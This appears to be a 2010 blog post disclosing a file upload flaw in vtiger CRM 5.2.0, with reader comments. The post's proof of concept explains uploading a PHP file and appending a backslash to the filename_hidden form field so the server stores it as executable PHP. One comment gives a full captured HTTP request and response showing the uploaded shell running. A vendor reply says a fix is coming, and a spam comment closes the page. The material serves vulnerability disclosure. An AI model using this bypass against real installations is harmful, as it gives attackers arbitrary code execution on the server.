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Friday, May 21, 2010

vtiger CRM 5.2.0 Shell Upload

A shell upload vunlerability in vtiger CRM 5.2.0 can be exploited to execute arbitrary PHP.

Exploit
Upload a PHP file and append a backslash to the filename_hidden value.


PoC

  1. Login and navigate to http://localhost/index.php?action=upload&module=uploads and upload a PHP file.

  2. Capture the packet using a debugging proxy, append a backslash to the filename_hidden value, and submit it. e.g.

    ------WebKitFormBoundaryihWhA69lH4hKrGBy
    Content-Disposition: form-data; name="filename_hidden"

    shell.php\

  3. Navigate to the uploaded file http://localhost/storage/{Year}/{Month}/{Week}/{file} e.g. http://localhost/storage/2010/May/week3/shell.php

31 comments:

  1. Hi,

    i have been trying to reproduce this issue, with a local setup with help of fiddler(windows). so far its behaviour is as it should be, it is treating the file as a text file, the file in question is uploaded as '12223_filename.php\'
    when access this file its treated as a text file. if there is some information that im missing please share the same.

    Thanks,
    MAK

    ReplyDelete
  2. Musavir,

    I just tested it again and it appears to work. Below some some more relevant info.

    POST http://localhost/index.php?module=uploads&action=add2db&return_module= HTTP/1.1
    Host: localhost
    Connection: keep-alive
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.55 Safari/533.4
    Referer: http://localhost/index.php?action=upload&module=uploads
    Content-Length: 1009
    Cache-Control: max-age=0
    Origin: http://localhost
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydA36exIbEJE58iyg
    Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: en-US,en;q=0.8
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: timezone=0; PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; ck_login_id_vtiger=1; ck_login_theme_vtiger=softed; ck_login_language_vtiger=en_us

    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="MAX_FILE_SIZE"

    3000000
    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="return_module"


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="return_action"


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="return_id"


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="uploadsubject"

    a
    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="filename"; filename="shell.php"
    Content-Type: application/octet-stream


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="filename_hidden"

    shell.php\
    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="txtDescription"


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="save"

     Attach 
    ------WebKitFormBoundarydA36exIbEJE58iyg--




    HTTP/1.1 200 OK
    Date: Fri, 28 May 2010 19:32:57 GMT
    Server: Apache/2.0.52 (Win32) PHP/5.2.6
    X-Powered-By: PHP/5.2.13
    Set-Cookie: PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Set-Cookie: ck_login_id_vtiger=1
    Set-Cookie: ck_login_theme_vtiger=softed
    Set-Cookie: ck_login_language_vtiger=en_us
    Content-Length: 1724
    Keep-Alive: timeout=10, max=300
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8

    [trimmed]



    GET http://localhost/storage/2010/May/week4/16_shell.php HTTP/1.1
    Host: localhost
    Connection: keep-alive
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.55 Safari/533.4
    Referer: http://localhost/storage/2010/May/week4/
    Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: en-US,en;q=0.8
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: timezone=0; PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; ck_login_id_vtiger=1; ck_login_theme_vtiger=softed; ck_login_language_vtiger=en_us



    HTTP/1.1 200 OK
    Date: Fri, 28 May 2010 19:33:36 GMT
    Server: Apache/2.0.52 (Win32) PHP/5.2.6
    X-Powered-By: PHP/5.2.13
    Content-Length: 11
    Keep-Alive: timeout=10, max=299
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8

    hello world

    ReplyDelete
  3. John Leitch : Your User-Agent "Chrome/5.0.375.55 Safari/533.4"

    Is it Safari browser or Google Chrome ?

    ReplyDelete
  4. Hi,

    I'm able to reproduce this error, we have added fix, which should be available with next release, which is vtiger crm 5.2.0 RC.

    ReplyDelete
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  28. Nice information,
    Thanks
    vtiger attrace more and more customer due to easy user interface and cheapest among
    most of the crm like Dynamics CRM,salesforce crm etc..

    VTiger
    VTiger CRM
    vTiger Integration

    ReplyDelete